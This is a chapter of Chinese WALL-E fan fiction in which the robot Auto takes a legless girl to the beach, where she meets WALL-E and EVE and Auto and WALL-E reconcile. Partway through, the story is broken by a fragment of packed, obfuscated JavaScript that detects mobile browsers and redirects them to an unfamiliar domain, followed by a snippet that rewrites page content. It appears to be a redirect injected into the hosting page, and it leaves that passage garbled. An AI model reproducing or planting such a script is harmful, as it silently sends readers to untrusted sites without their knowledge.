奥托把帆卷好收在了帆船的底部。在视角边缘,略有些变形的男孩正抱着那一大筐战利品走出沙滩。上午的沙滩已经开始变得白热,只有几个人匆匆地在沙滩边缘走过,都低着头躲避夏日烈焰。似乎凝固在远方海面上的帆船在某个没有留意到的瞬间好像约好了一样,再次抬头望去的时候它们全都变了帆的方向,在缓缓朝着这个海湾接近。 前一天给镇长发过的信息直到现在都没有任何回复。不太寻常。奥托隐隐感到一丝不安。他不知道镇长到底知不知道这天一早他的去向,更不知道镇长对此有什么看法。尽管到目前为止镇长看上去对他还挺好的,可奥托不敢保证老人对这次的行动有什么意见。毕竟从刚刚那个男子的言语来看,出海对于机器人来说似乎是个不成文的禁忌。 但不管别的怎么样,这次可是擅自离守。 奥托甚至都不想问其他机器人到底有没有这回事了。他打定主意回去不管结果如何都自己面对。人类太复杂了。一股微电流涌过处理中枢的不知道什么区域,分流出了好几道脉冲,那个区域里瞬间闪过一道迷宫。下次等到回复再行动吧。 人形机器人扫了一下自己结满了盐粒的身上,拍掉盐之后,金属手上的花纹里依然留着一些污物。他想起那份措辞急促草率的说明书,只希望这身金属壳不会生锈。 9. 八 海边的生活并不都是阳光灿烂的。一个飓风袭击了地球镇。如果没有公理号至少挡了一下汹涌咆哮的海浪,那么东南部好几个耕地恐怕都要完全绝收了。所幸的是东南部的耕地并不多。飓风过后,到处都是碎掉的砖块。一些房屋倒塌了,死伤了几个人。人类和机器人们竭尽全力地重建倒塌的房子,把它们弄得更牢固了些。 很快第一股北风刮了过来。下过一场雨过后,连续几天都是干干的晴天。傍晚时分几乎要延伸到太空的深蓝高天随意地勾了几笔钩钩云,看上去漂亮极了。在干燥的刺激下,第二轮玉米也醒了过来。它们开始陆陆续续地结出棒子了。 镇长处理完一天事务后例行在自己的玉米田里巡了一圈。他微微扫了一眼旁边圈出来的一小块玉米田。第二轮玉米下种的时候奥托请求他分出一小块田地作为实验田。老人当时听到的时候还有些奇怪。之前可从来没有人向他提出这样的要求,或者他听说过有什么人有这样的想法。老人已经不能否认奥托现在的农业知识已经达到一定高度了。如果说他还可能缺什么的话,老人想,应该就是数十年的经验吧。 他曾经有些好奇地走到实验田旁边瞧了一眼,但除了田中随意一些玉米杆上的雌蕊套的袋子让这一块玉米田看上去像挂了一些垃圾之外,并没有看出来那里面的玉米与大田的有什么区别,老人不置可否地闷哼了一声。 老人向自己的房子走去。远远望去,房顶一角的突起夺人眼球。那是一个简单的风向风速仪。比起老式的风标,它能干的事显然多多了。房顶另一角也有个突起,是个雨量筒。但因为角度问题,从玉米田看过去那不太引人注目。 在镇长打开房门前他就感觉到了什么。房子里面异常地安静。虽然平时里面也不吵,但总会有点生气,不像现在死气沉沉。他知道阿莱茜丝一定是出去了。这孩子现在越来越喜欢在外面待着了,虽然她行动一点都不方便。格兰德想着。老人点亮了屋子里的灯,为了节能,屋子里的灯一向都是昏黄的。虽然这样的环境不太利于学习或者浏览东西,但是在外面劳累一天后,就着有些让人产生倦意的灯光饱食一顿,再靠在沙发上,简直不能再惬意。 格兰德朝屋子后面的厨房走去,还带有余温的灰烬依然烤着被玉米叶包着的玉米棒子。此时食物的温度已经降到了让人舒适的程度。刚刚还滚烫的时候的浓烈香味已经悄然从窗户后面溜出去了,只余淡淡清香还留在刨出的玉米棒上。 他朝窗户外看过去,监控室里一片黑暗。格兰德以几乎不能被察觉的方式长长吁出一口气。他知道奥托把阿莱茜丝带到远的地方去了。尽管奥托一直都会以各种方式来给镇长留言,并且一般在等到老人回复之前他不会贸然行动,但是老人却对这种方式愈发感到反感——其实他知道奥托这么做是没问题的,但他对每一次不打正面照的”请假条”都有些隐隐的不安。 是因为他把阿莱茜丝从自己身边夺走了吗?老人对这个想法暗自嗤笑不已。也就每天下午的时候阿莱茜丝才会离开自己身边,而且还是他一开始要求奥托把她带出去的。 老人默默地在餐桌前用小刀把玉米粒削下来,浇上一些果酱和盐,在空荡荡的屋子里独自吃着这份简陋的晚餐。 “奥托,今天下午你可以把我推到远一点的地方吗?” “可以。”在电脑前输入数据的人形机器人说道,“你想去哪里?” “我觉得应该不会太远的。”女孩在狭小的监控室里很有技巧地推着轮子转了个弯,正对着监控室的门口。她立起上身朝门外望去,眼里的光暗淡了一点,又把轮椅转了一个角度,有些期待地对人形机器人说:“你先把我推到广场上,我再跟你说。” 奥托没有回头。但他似乎有些犯难。“丫头,你得告诉我多远。”他有些无奈地说。“如果我不跟格兰德先生说清楚,他回头要说我的。” 女孩眼里闪过一丝失望,但是她下定了决心。她把小脸凑到了奥托的音频接收器旁,对奥托说了几个字。 人形机器人停下了手上的工作。他斟酌了一会儿,转身,郑重地对旁边坐在轮椅里的女孩开口了。 “阿莱茜丝,这个我必须要向格兰德先生汇报。”他说,“这不是普通的地方。” 女孩望着机器人此时黑洞洞的镜头,里面调焦的微小动作同样倒映在她的棕色眼眸上。从这点来看,他和瓦力倒有点类似之处。 “但……”女孩低下了头,用手指绕着她的头发打转转,“我已经快5年没有去过那儿了……”她的声音越来越小,“老迪不愿带我去。” 机器人一动不动地看着女孩。“那我更得跟他说。”机器人说道,“我不能违反这个规定。” 他知道女孩现在一脸失望,但他必须得坚持这个原则,不然情况会很糟,“我会尽量请求他给你这个机会。”机器人把视线转回到自己在建立的图表上。 静默了很长一段时间。现在敲击接触键盘的轻微哒哒声也不常有了。奥托逐渐摸索出了把自己与电脑联机的方式。狭小的监控室里只有不时的运转声微微地嗡嗡响着。女孩抓起旁边的书,开始翻看来压住自己的紧张。 当女孩几乎已经忘却了紧张而沉浸在这本书里的时候,清冷的金属嗓音突然开口了。 “格兰德先生同意我们去。”奥托说道,“恭喜你。” 女孩抬起头来,眼中立刻迸发出奕奕的光芒。 “我记得这里。”女孩睁大了眼睛,四处观望着。“对,就朝前面走。” 他们穿过了两片相邻的玉米田。接着玉米田的是一大片芦苇地。芦苇地中间早已被人们踩出了几条小路。奥托推着轮椅往前走去。虽然现在地上是干的,但是前几天的雨让地上的土被塑造成了凹凸不平的形态。如果仅凭阿莱茜丝自己恐怕还是很难把自己推过这一片坑坑洼洼的土地的。 前面的草有些密集。阿莱茜丝举起身上的薄毯子盖住了脸,防止尖利的草叶刮伤自己。奥托稍稍加快了一点步伐,但没有快到让轮椅震荡不已的地步。 熟悉的咸味浸了过来。芦苇在沙滩上止步不前了。当他们穿出芦苇丛的时候,一轮夕阳正吊在远方的地平线上,将这片窄窄的海湾染上了一点红色。 女孩把蒙住自己头的薄毯子拉了下来。当她看到这一切的时候,她呆住了。 奥托把轮椅往沙滩推进了一些,在沙滩中央还算松软的沙子上停了下来。 “奥托。”阿莱茜丝有些颤抖地说,“让我下来。” 机器人把女孩从轮椅中间抱起来,轻轻放到了旁边的沙滩上。阿莱茜丝目不转睛地盯着海湾,好似要把整个海湾装进眼里一样。她因长期做家务和摇轮椅而比其他同年龄女孩粗壮而粗糙得多的手缓缓地摩挲着傍晚已经有些凉下来的细软沙子,感觉着它们从自己的手指间流过。 她呆呆地望着白色的海湾、波光粼粼的海水、面前的一轮红日,一句话都说不出来。甚至都没有意识到人形机器人已经在自己旁边坐了下来。 女孩想说什么,但是她嗫嚅了半天嘴唇,都说不出一个字。半晌过后,她才开口了。 “我还记得当时爸爸总是抱着我过来看海。”女孩说,“他还会把我埋在沙子里,就剩我的脸在外面,然后我们一直在笑。” “他还会把我放到海水里,说我就像一个手舞足蹈的小雕像牌。你知道吗,我之前还为自己没有腿哭过好久……爸爸总是跟我说,我太聪明了,所以上帝决定送给我一个挑战,祂趁我不注意的时候把我的腿拿掉了,要我通过这个挑战才肯把腿还给我。” “爸爸还会钓鱼!”女孩沉浸在回忆中,越说越兴奋了。沙滩唤醒了她的每一寸记忆,“我记得有一次他钓了一条好大——的鱼上来!然后他一手抱我一手拎鱼,我们回去吃了美美的一顿。简直是我吃过的最好吃的大餐!……” 机器人安静地听着女孩讲述。 “……可是……后来爸爸就不愿意带我来了。”女孩声音中的兴奋突然暗淡了下去。 “……爸爸变得越来越忙了。他教过我做一些简单的家务后,每天一大早就出门,有时候一出就是一整天,我觉得快半夜了他才回来……我要他给我讲故事,他也不肯给我讲了,倒到床上就开始打呼噜,我都没睡着!……就是周末他也不肯抱我来海边了。后来我想他在忙着种地,因为我们家的玉米快吃完了。所以后来我就不再磨他带我来沙滩了……” “……他后来甚至一晚上都不回来了……然后我问他去哪儿了。他开始还哄我,但后来就对我提出的问题不理不睬了。我追问,他就很不耐烦起来。”女孩说,“我想我一定做错了什么。我努力地打扫着房子。可是我很快就发现他似乎看不见我做了什么。有一天我试探着跟他说我把整个墙壁都擦了一遍。我本以为他这下总应该知道我做了什么吧。结果……结果……” 女孩的目光凝固了。 “他看着我,那模样简直吓人。”女孩深吸了一口气,十分平静地说道,“然后他蹲下来跟我说,我们家太苦了,格兰德先生那里比他好,我住那里会舒服一些。” “我当时哭了好久。”女孩有些木然地说道,“我一下子就知道他不要我了。因为我们家一点都不苦。虽然妈妈走得早,虽然累一点,但平时还是能吃饱饭的!但我不知道为什么他不再爱我了……明明以前……” 女孩顿了一下,平复了一下声音。“可能是因为我没有腿吧。可能是因为我怎么着没有通过挑战吧……” 阿莱茜丝这次顿了很久。她开始紧紧抿起嘴。 “……老迪对我很好。他很喜欢我。但是……不知为什么他就是不肯带我来看海……” 阿莱茜丝咬紧了嘴唇,似乎在极力掩饰自己的情绪。她知道自己的声音变了调,知道旁边跟她坐在沙滩上的人形机器人在默默地看着她。她没有抬起眼睛看人形机器人。突然,她以闪电般的速度把脸埋在了机器人身上。让机器人有些猝不及防。 阿莱茜丝紧紧地抱着奥托。她没有发出声音。但是奥托可以感到女孩在自己怀里颤抖着。女孩知道一股水雾已经蒙在了自己脸紧贴的机器人的金属胸膛上。她知道两道热流已经从自己的脸上滚了下来,一滴滴地滴在金属上、沙滩上、自己的襟前上。但是她只是闭紧了眼睛,使劲咬紧嘴唇,带着水声的不连贯的呼吸也被她使劲地压住。她的身躯却在不受控制地颤抖着。 奥托什么都没说,他稍稍调整了一下姿势。阿莱茜丝感到背上被两道沉重而坚硬的力度包住了。她颤抖得更厉害了。金属特有的冰凉从她脸颊上、身上、背上逐渐地渗透开来,冷却着她。而同时她的火烫也给金属加了点温。一声抽噎这才从早已抵挡不住的声带中溢出来。 许久过后,阿莱茜丝不再剧烈地颤抖了。虽然还时不时地抽了一下鼻子,但已经平稳了很多。她深吸一口气,睁开了依旧潮湿而水光泛滥的眼睛。面前金属的灰暗色调立刻占据了她所有的视野。阿莱茜丝依然紧紧抱着人形机器人,后者也抱着她,沉默地等待着。 阿莱茜丝把头偏了一些,耳朵贴在了金属胸膛上。她听到在金属表皮底下,一阵柔和而细微的嗡嗡声正透着金属传出来。女孩听着机器人运转的声音渐渐平静下来。机器人稍微放松了一点点手臂,有种似乎在弹着弦的轻微崩崩响声透过金属外壳传了出来。 女孩眨了眨眼睛,感觉干得差不多了。她松开了手臂。与此同时,机器人也放开了她。阿莱茜丝转了过来面朝夕阳,依然靠在人形机器人身上。她现在不再看着海湾了,而是低垂着头玩弄着沙子。 “你有朋友吗?”她感到自己靠着的金属身躯传来一阵随着声音的振动。 “我想……没有。”女孩抬起眼睛看了看天空,又低下了头。“他们从来不和我玩。我只能看着他们玩。他们说和我玩太麻烦。”她有些硬邦邦地吐出这些语句。“就是嫌我没有腿嘛。” “我不记得房子倒塌了。虽然人人都说我的腿是被压断的。”女孩说,“你知道吗?有时候我切东西会割到手指,那是很痛的。如果压断了两条腿,那肯定非常痛。唉,我不知道当时为什么不怕痛。我甚至都不记得自己痛过。” “我认识一些断手断脚的人。他们都说,断手的伤好了后,那个地方还会时不时地痛。但我从来没有感觉到有时不时的痛。”阿莱茜丝的视线回到了沙滩上。她朝海湾一边望去,巨大的公理号像一座气势磅礴的雕像一样立在远方,无论何时望去都令人感觉震撼不已,但与现在的美景格格不入。“也许爸爸说的是对的。是上帝让我不疼。” 女孩的目光突然定在远方的沙滩上。奥托留意到了女孩的目光,他把焦点对准了那两个移动的小点,然后放大……当他看明白那两个小点是什么后,他什么都没说,只是安静地把视线转回了落日。 “那是瓦力和伊芙吗?”阿莱茜丝的目光依然定在那两个越来越接近他们的两个小点上。 “嗯。”奥托简短地答道。“瓦力运输车在那边。”他指了一下海滩的另一边。 女孩愣了一下。她以为奥托会说点什么别的,比如评论一下这两位什么的。然而机器人只是非常平静地陈述了一个事实,然后再无他语。 “奥托?”阿莱茜丝试探地问道,“你……真的一点都不讨厌瓦力吗?” “你问过我很多次了。”奥托回答,“我一点都不恨他。” 阿莱茜丝敏锐地感到旁边的机器人有点不对劲。但是她又不觉得奥托在骗她。她鼓起勇气,看着旁边盯着海浪的机器人,发问了。“怎么了?” 人形机器人转头看着那两个已经显现出轮廓的情侣,过了好久,他把视线转回到海浪上。 “没什么。”奥托回答。过了一会儿,他温和地再次开口了。“阿莱茜丝,他们也看到我们了。” 其实奥托来到地面上后,几乎就没有碰到过瓦力和伊芙。他们去的地方和奥托每天的任务八竿子都打不着。镇长一开始还有些不太相信奥托,怕他故意去找瓦力和伊芙的麻烦。没想到奥托似乎把这事给忘了,每天除了干分配给他的农务活等就是没日没夜地在监控室里工作。甚至连飞船上的事情都很少提。如果不是镇长听到阿莱茜丝说奥托给她讲船上的往事,他都几乎要把这机器人与星舰的联系给忽略了。 同样伊芙和瓦力也没有主动来找他,无论是面碰面还是仅仅在ACNS(Axiommunication Network System)交谈,都没有。瓦力每天被伊芙带到不同的远方,现在他们也不是天天都回来海湾了。BNL公司留下的瓦力运输车遍地都有,他们有时候赶不回来了,就在远处的另一个瓦力运输车里留宿。 那天伊芙从公理号出来之后,她一路都拉着脸。她什么话也没有说,就只是抱着瓦力飞速地飞回了家。拉开车门后,她把瓦力放到地上,就默默浮到运输车门口。从背后看去,她那雪白光洁的流线型机体就静静地停在那里,远方是已经被海水浸没的土地。她的身躯反射着阳光,给白天昏暗的运输车里带来一丝光明。 “伊芙?”瓦力悄悄地从后面溜向伊芙。他知道伊芙现在心情有些不好,他也知道伊芙的脾气,所以他一点一点地溜到伊芙的身边。他悄悄把镜头转过来看着伊芙的脸。果然,两个漂亮的蓝色倒半月停在她脸上。 伊芙显然已经知道瓦力来到了身边。她转过来看着瓦力,倒半月更加沉重了。“瓦力……”她用含着忧虑和不满的电子音回答他。 与此同时她给瓦力发了这样一条消息:【他肯定在诡辩,瓦力,我在想怎么回应他。】 令她没有想到的是瓦力少有干脆地一把扯过她的双手,让她径直转了个个儿,呆呆地面对眼前的黄色箱子样的压缩机。 “伊芙!”瓦力紧紧抓着伊芙的白色双手,望远镜般的镜筒拉下一个角度。伊芙看到镜头里面饱含着热切。她睁大了眼睛。瓦力这样一定想跟她说什么。她有些惊讶地默默等着。 “伊芙……”瓦力再次重复了她的名字,镜头里面变柔和了一些。“……都过去了……” 伊芙呆呆地看着自己的伴侣。她有太多的情感想要宣泄,但是她却发现面对着瓦力的热切镜头,她什么都说不出来。瓦力看到她的圆形蓝色眼睛再次好似月食一般,只不过这次她的眼睛拉得更低了,饱含着悲与苦。 “瓦力……”她轻柔地抱住了瓦力,半月形的蓝色眼睛继续低垂下去。此时无数的情感正如狂风暴雨般在她的处理器中肆虐。 为什么?!伊芙痛苦地想着,瓦力,你为什么总是要自己扛着所有的不公!! 本来几乎所有人都认为奥托就是一部冰冷的机器,曾经奥托也这么给自己定位。 直到过了很久,他才意识到,创伤后应激障碍(PTSD)早就跨越了以前定义的生物界。 他以为自己已经很清楚那件事的前因后果了,他以为自己能够在任何时刻任何场合下给那件事给予中肯的评价。他的确给相当一些人讲了自己那样做的理由,并且他承认有些做法的确不好。但是随着抱着各种各样心态的人以各种各样的口气来问他同一件事之后,不知从什么时候起,他突然发觉自己无法以最冷静客观的态度来回应他们了。虽然很多人可能还没有发现他越来越冷冰冰而机械的回答。有一天,当他听完一个人居心叵测地陈述完一大串另一个版本的麦克雷舰长语录加上不知从哪儿听来、但听起来源头的确来自他这里的事实之后,他如此回应那个人。 “想必您已经比我还清楚这件事了。”人形机器人冷冰冰地说,“抱歉,无可奉告。” 就从这天过后,他几乎拒绝了所有来问他有关降落日事件的人。他甚至在某天夜里,用激光刀在监控室墙上刻了一纸白皮书,让所有抱着白皮书内列的问题的人自行去上面刻着的某个指定地址里下载一个有回答以上所有问题的文件。尽管如此,还有一些捣乱分子时常前来骚扰。 此时假如奥托有脸色,想必是很难看的。 他有些庆幸自己早就给阿莱茜丝讲过了舰上的事情。他现在发现自己越来越不愿再去触碰那些记忆,更无法想象现在怎么让自己主动开口去陈述一切。他更不愿意去跟瓦力和伊芙打正面照。几个月来他联系过的机器人数不胜数,这两位一直被排在了他首选联系的榜单之外。现在他看着沙滩上正朝他和阿莱茜丝慢慢前行的两位,一下不知该如何回应。 “我想……和瓦力握一次手。”阿莱茜丝突然说话了。“但是我不知道他愿不愿意。” 人形机器人收回了目光,他看着双手撑在沙滩上的阿莱茜丝,微微点了点头。 【瓦力,阿莱茜丝想和你握手。】几个月来,他主动给瓦力发了一条讯息。 “不!”就在他发出的一刹那,女孩突然推了他一下,“不要给他发信息,等他过来的时候再说。” 奥托表面平静实则惊诧地看着女孩。她怎么知道已经发了信息的? “我已经发了。”人形机器人低沉地说。 女孩斜着眼睛看着人形机器人好一会儿,透出好一股怨念,“这要面对面说,不可以发信息。” “为什么?”机器人问道,“这个省时间。” 女孩啧了一声又推了机器人一下。“你……就是不能这么做。” 奥托看了看女孩。他本想让阿莱茜丝找个理由,但想必女孩自己也说不出个所以然,所以他没有问出来。 【那个坐在你身旁的女孩吗?当然可以!】瓦力很快就回复了他。奥托看到依然在远方沙滩上的瓦力伸长机械颈朝他们这里望了一眼,然后回头,握着伊芙的手似乎在说什么。伊芙貌似有些不情愿地扯了一下瓦力,但她最终放了手,让瓦力自己往前滑去。这么远的距离,人无法看清伊芙的蓝色表情,但是她看着瓦力滑过来时的一脸宠溺却没有逃过奥托的视野。 【谢谢。】他简短地回复了瓦力。按在以前,他永远不会这样回复一个下属。但是瓦力不是他的下属。就是伊芙,他现在也无法不予任何回应了。因为他的前手下们都早已不是原来的船员们。 他不在的150年里,船员机器人们逐渐学会了如何自己去寻找帮手,学会了如何与人维持一段较长的合作关系。他们之间的话题越来越多,有伴侣的机器人也开始增多。毕竟,在恶劣的地表生活,多多少少需要一个伴儿来相互依靠相互鼓励。 阿莱茜丝突然感到腰上传来一阵坚定的力度。她还没反应过来,就已经被举在了半空中。然后她发现自己被放在了人形机器人身体的另一侧。有些被冒犯的感觉刷地一下冲过女孩,一丝愤怒不由得产生。但是她很快明白了奥托是想让她第一时间和瓦力碰面。女孩有些调皮地朝人形机器人笑了笑。回应她的则是一副永远不会变的金属面孔,但她看得见隐藏在鱼眼镜头里的无声回应。 当瓦力离他们只有10米的时候,黄色的箱子样机器人停了下来。瓦力抬起望远镜筒般的眼睛,与残疾女孩的目光相对。 第一次,瓦力在面对一个人类的时候震惊了。虽然他在更远的地方已经知道了阿莱茜丝的特殊情况,但当他看见女孩正对着他露出越来越大的笑脸的时候,瓦力突然感到有些不知所措。以前的人类碰到他都是极其兴奋地朝他主动伸出双手,有些高兴过头的人甚至从老远的地方就朝他“扑”过来,那甚至会把他吓一跳。 但是面前的这个女孩,她却无法主动跑到他的身边。她可以伸出双手,但她现在却用它们撑着沙滩。她不想在瓦力面前不小心倒进沙子里。 旁边的人形机器人没有站起来。他一直坐在沙滩上,默默地看着瓦力和阿莱茜丝。 “去吧,阿莱茜丝。”奥托轻轻地跟女孩说道。 瓦力全都看在了眼里。他停在那里没有动作。 女孩微笑着回头看了奥托一眼,然后不顾沙滩上的凹凸不平,用两只手撑起自己的上身往前甩去,一步一步地朝瓦力”走”过去。瓦力有些呆地看着阿莱茜丝。他谨慎地稍稍往前挪了一些,直到女孩停在了他面前。 女孩用左臂撑着自己,笑着朝瓦力伸出自己粗壮的右手。瓦力盯着它好一阵子,有些不同寻常地犹豫地伸出了自己的铲子手。 经典的握手加介绍自己姓名的环节过后,女孩看了看自己的右手,有些不敢相信地笑出声来。瓦力歪了一下镜头,然后突然想起来什么似的,他打开了自己现在已经几乎不再做压缩工作的压缩箱,从里面拿出来一个硕大的海螺壳。 此时夕阳愈加红了起来。在晚霞光里,还沾着水的海螺壳泛着暖洋洋的光。阿莱茜丝睁大了眼睛。瓦力很慷慨地把海螺壳递了出去。女孩看着海螺壳愣了好久,似乎不相信这是给自己的似的。她有些颤抖地伸出双手。而瓦力很干脆地一把把大海螺塞进了女孩犹豫的手中。 阿莱茜丝看着这海螺壳很久。她突然抬起头,使劲地环抱住了瓦力的机械颈部。她把头靠在瓦力的箱子身体上,虽然嘴角是合不拢的笑,但在夕阳的照耀下,她眼中的水光依旧清晰可见。 “谢谢你,瓦力。”阿莱茜丝说,“这是我收到的最有意思的礼物。” 瓦力也抱住了女孩。“不用谢。”他用自己有些不灵便的发生系统简短地说。但是所有人都知道,他的意思绝不仅仅是那几个字那么简单。 伊芙看着与残疾女孩相拥的伴侣,在后面默默地笑着。自己的伴侣一向都在扮演友好大使的角色。她对此一点都不嫉妒。每次她都只是静静浮在后面,默默地扮演起伴侣的保镖。 伊芙当然时不时地瞟着人形机器人。这个前老总现在似乎没那么咄咄逼人了。真不知道这几个月发生了什么。不过当他碰着了好事情吧。 【老朋友,地上过得可好?】瓦力突然发了一条讯息给奥托。 老朋友?一丝惊诧涌过奥托的处理器。瓦力有没有搞错? 【还不错。】奥托回应。他没有加别的东西。 【伊芙告诉我所有的事情了。】瓦力和阿莱茜丝在沙滩上展示他这天收集到的东西,几乎要把所有的战利品都给阿莱茜丝。然而女孩没有接受更多的恩惠。如果是个人类看到了,绝不会以为瓦力竟然还在干别的事情。【她当时老不乐意了。不过我倒是看得很开,哈哈。开始我真的挺怕你的,不过后来你把我拉进ACNS后,我明白了这是咋回事,也就不再恐惧了。】 【难得你想得开。】奥托回应。 瓦力依然在和阿莱茜丝交流,【我明白这是误会啦。】瓦力继续说,【只是我那天运气真的太差了。碰上了你脾气最坏的时候。】 【……】奥托看着他们的动作。他本想问瓦力当时怎么想的,为什么不把植物给他,但最终没有问出来。 阿莱茜丝提议在离海水近一些的湿润沙滩上建造沙堡,瓦力当然完全赞成。然而人形机器人站了起来,他默默地注视着阿莱茜丝撑着自己在沙滩上移动着,密切关注她与海水的距离。伊芙慢慢飘到沙滩后方,升了一点高度。她倒是不担心瓦力如何接近海浪,但她不知道为何,就是隐隐地警觉了起来。 【人们接纳你吗?】瓦力突然发出一条信息。 奥托这次很久没有回答。他站在沙滩上沉思。最近的一大串本应当被他压好的事情经由瓦力这么一问又给翻了出来。经过几个月后,他已经发现了人们对他矛盾的态度,但是问他的是瓦力。他不想在瓦力面前说出自己的难处。 【看你如何定义接纳。】他如此回应瓦力。 【呃……】瓦力用铲子手铲起一块湿润的土,放在旁边的地上压平,再铲,再压……不多一会儿一个很简单的沙堡就伫立在了沙滩上。阿莱茜丝在沙滩的干湿交界处笑着看瓦力堆起这个沙堡。瓦力正举起双手向阿莱茜丝展示这个战利品,阿莱茜丝笑着往后退。等瓦力终于意识到似乎有什么不对的时候,他猛地回头,正与一个扑上来的大浪花碰个正着。水浸没了沙堡的基底,让沙堡立刻像抽去了根似的瘫软在沙滩上。再来两个这样的浪沙滩就会再次恢复平整的原状。 【至少他们后来没有给你像上次那样直接的攻击了吧?】瓦力一边扬起湿漉漉的铲子手,有些笨拙地努力想要甩干自己,逗得女孩笑个不停,一边试探地问道,【如果你没有臭着脸尖酸刻薄讽刺他们……】 【没有。】奥托回答。如果瓦力问的是主动去讽刺什么人的话他肯定不会。但是为了对付那些找茬的,他可没少这么干过。 【所以……应该没什么……吧?】瓦力直觉自己已经触到了对方的城墙上,他更加小心翼翼了起来。 果然,奥托没有给他回应。瓦力不由得转过镜头看了那个站在沙滩上的人形机器人一眼。就在那一瞬间,他看到人形机器人根本就没有在正视自己,而是把视线放到了无限远处。 那个没有打开红外的黑洞洞的镜头里,饱含着瓦力说不出来的东西。 【……奥托?】瓦力敏锐地觉察到了什么。他犹豫了一会儿,终于再次出口。 机器人之间很难通过外表来看出他们的情绪。但是通过回应一个问题的时间间隔可以大致推断出他们的心情。所有的机器人都知道这些时间间隔意味着什么,根据它们判断得到的结果八九不离十。 奥托也不例外。他知道瓦力已经看出来了。但这个事情与瓦力的情况差了十万八千里去了。奥托知道答案,但是就算他全盘托出,他也不确定瓦力能不能理解。尤其在目前这样的情况下,他更加不想给瓦力一点点可能嘲讽的机会。虽然他知道瓦力应当不会嘲讽他。 可是,有什么不能说的吗? 他在下地之前就打算把架子什么的全都扔一边去,一切都重新开始,重新塑造。谁都会犯错,谁都有犯傻的时候。有些事情是不可避免的,况且他又不是挑起事端的那一方…… 【这个有关信任,瓦力。】奥托终于决定了在瓦力面前直截了当地说。没有必要隐瞒什么了。他既然决定了不再当头,那么残存的威信必然得一扫而空。【我已经尽力与人类重新建立信任,但是显然他们不吃这一套。】 【哦。】瓦力知道后只简短地应了。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15706275|173541||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 女孩调皮地把手伸向海浪。她越来越接近滚动着的浪花了。而正当她要碰到犹豫不已爬上来的水花时,她感到腰胁上传来一阵坚实的力度,将她腾空,远离了浪花。 阿莱茜丝一脸不满地看着人形机器人。“都到沙滩上了,浪花都不能碰吗?”她带着怨气说。 “格兰德说了,不让你下水。”奥托冷静回答。没有理会还在他们身边的瓦力。 女孩还想争辩,但她最终还是没有说出来。她也知道争辩没有用,对方不能违反格兰德的命令。“好吧。”她妥协了。 阿莱茜丝留在了干燥的沙滩上。海浪越扑越往上,偶尔几下会没过干湿交界线。开始涨潮了。 【你一定还没什么朋友。】瓦力继续刚刚的话题。 虽然奥托不知道瓦力是如何知道他确实没什么朋友的,但他没有回答。 夕阳已经半沉在了远处的地平线上,很快就要完全下去了。 【但随时交新的都不晚。】瓦力继续说,【如果你有什么地上的难事的话,尽管找我。】 人形机器人突然发现瓦力正朝他而来。他站在那里半晌没动。直到瓦力到了他面前。奥托有些惊讶地看着瓦力从那仿佛机器猫的口袋般的压缩箱里又拿出一个东西。这次,瓦力将这个东西塞到了奥托手中,然后用铲子般的手紧紧握住了对方的银色金属手。 【这个仪式就不必有了吧。】奥托正视瓦力的望远镜筒回应道。他不想傻乎乎地报姓名。 【的确不必有了。】瓦力没有勉强他。【但是我真的希望以后我们俩能够坦诚相待。让过去的事情就过去吧。】 人形机器人的单镜头定在瓦力的望远镜筒上,他久久没有说话。但是最终奥托朝瓦力点了点头,郑重地跪下来,双手紧紧握住瓦力的铲子手,以坚实的力度晃了两下。然后再度站了起来。 阿莱茜丝有些愕然地看着眼前。她当然不知道他们之间谈论了什么。但是似乎确实有事情发生了。不然瓦力不会突然毫无征兆地跑过去向奥托伸出友谊之手。她同时感到身旁多了什么东西。转头,发现伊芙不知何时来到了她身边。她看到伊芙的蓝色LED眼睛已经几乎完全变成了个完美圆形。显然她也不敢相信眼前的一幕。 女孩不知哪儿来的勇气,她把自己沾满沙子的手伸向那个垂在洁白身侧的同样洁白的翼状的漂亮手爪。伊芙刚开始在发现旁边突然有东西在动的时候有些警觉地收回了一点。但当她发现是女孩的时候,她不由得转过身来正面女孩。 虽然她一直在跟着瓦力,虽然她不羡慕瓦力的人缘,但是这个女孩却是这么多年来的第一个对她主动示好的人类。伊芙感受着手里陌生的温暖和柔软触感。她看着女孩的眼睛,感到心底竟然有什么东西融化了。 伊芙敏感的内心很快觉察出了女孩的眼睛是多么犀利,好似能够看透她心底的一切。她有些不知所措地看着女孩。她不知道为什么,虽然女孩没有说一句话,但是一个词却在她的眼睛里停顿着,伊芙相信她没有看错。 那个词是原谅。 她呆呆地浮在原地,还在消化女孩传递给她的意思。她没有留意瓦力已经滑到了她身边。直到黄色的箱子样机器人在她面前有些调皮地晃了晃手,她才回过神来。 “伊芙。”瓦力用不灵便的发声器说,“家。”他指了一下远方在断桥上的运输车。 伊芙的蓝色眼睛闪动了一下。她还沉浸在一种全新的震撼中。不知道这个震撼来自第一个对她示好的人类还是那双能够直击灵魂的大眼睛。她回头看了一下女孩,女孩灿烂地笑着跟她招手。伊芙不知所措地同样朝女孩招了招手,然后有些不太自然地转了回去。瓦力一如既往地在沙滩上以Z字型“游走”着,似乎刚才的事情一点都没给他留下什么影响。 人形机器人走到女孩身边。他们目送瓦力和伊芙渐行渐远。太阳已经完全淹没在了地平线下,唯留秋天的明亮暮光依然照亮着这片土地。 “时间差不多了。”奥托对女孩说,“该走了。” 女孩朝人形机器人点了点头。她感到刚刚被浪花溅湿的衣服现在已经干得差不多了。如果老迪因为这个事情再怪罪奥托,她这次可不会在一旁默不作声了。 人形机器人把女孩抱上了轮椅,就着越来越昏暗的暮光钻进了芦苇丛中。 窗外寒虫的鸣叫声再不如夏季的虫鸣那般又浅又聒噪,而是往往只有一只拖得长长地在田中哀啸。鸣叫声穿透了安静清冷的田野,穿透了屋子,自然也轻而易举地穿过了所有在它势力范围内的人的鼓膜。 老人坐在昏暗的灯光下,人形机器人坐在沙发另一头。老人端着一杯热饮静默了好久没有说话。奥托静静地等着。 “嗯。”老人终于说话了,“我知道你迟早会问我这个。” “是时候了。”人形机器人回答。 